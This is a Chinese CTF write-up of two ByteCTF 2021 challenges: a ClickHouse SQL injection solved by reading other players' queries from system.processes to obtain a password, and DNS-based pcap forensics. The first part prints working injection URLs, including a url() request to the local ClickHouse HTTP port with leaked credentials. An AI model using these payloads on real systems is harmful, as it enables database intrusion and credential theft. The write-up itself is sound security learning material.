ByteCTF2021-wp

bytectf double sqli 和 frequently。

Double sqli

一道 web 题的非预期解。

题目打开就是一个可执行任意 sql 代码的注入点:/?id=1,sql语句是

1
sql = 'select ByteCTF from hello where 1={} '.format(id)

经过报错信息知道了数据库引擎是clickhouse。

在正解中,使用了nginx的目录穿越读取了clickhouse的密码文件。但我并没有发现这个文件,而是从

1
/?id=1%20SETTINGS%20union_default_mode%20=%20%27ALL%27%20union%20all%20select%20query%20from%20system.processes

这个系统表中可以看到别人正在进行的操作:

image-20211103101003408

经过一段时间的观察,发现了user_01的密码。

因为有些人在尝试用 http 访问 9004 端口(mysql 端口),连接不上,请求就会停留很久。

拿到密码后,可以用 clickhouse 的http登录端口(8123)连上,遍历表容易发现 ctf.flag 表,直接select*就可拿到flag。

1
/?id=0 union all select * from url('http://127.0.0.1:8123/?user=user_01%26password=e3b0c44298fc1c149afb%26query=select%2B*%2Bfrom%2Bctf.flag', LineAsString, 'column1 String')

Frequently

image-20211103100708623

题目给了wiresharkpcap

首先追踪UDP流,发现在0号流里面存在一定的规律:

image-20211016195407813

人工把这些记下来:得到flag的后半段:sse1f_wIth_m1sc^_^}

然后想办法找前半段

注意到在结束部分存在大量DNS解析,且DNS域为bytedanec.top(不是bytedance),这里故意写错应该是提示,使用过滤器把所有请求筛出来:

image-20211016195634751

发现bytedanec.top前面的内容是采用base64编码的东西,提取出来base64解码后发现是一张图片,但是这个图片是损坏的(官方解的图片是正常的):

image-20211016195740007

仔细观察DNS请求发现一些长度不一致的请求:

image-20211016195904424

这些用i.o.开始的域名返回的地址是10.0.0.2而其它的是10.0.0.1

所以单独筛选出io的请求,把i当成1o当成0得到二进制串,转成ASCII后发现前半部分:

The first part of flag: ByteCTF{^_^enJ0y&y0ur

和前面的后半部分拼接后得到:ByteCTF{^_^enJ0y&y0ursse1f_wIth_m1sc^_^}但是这个flag不对,在yoursself这里多了一个s,手动删除后得到正确的flagByteCTF{^_^enJ0y&y0urse1f_wIth_m1sc^_^}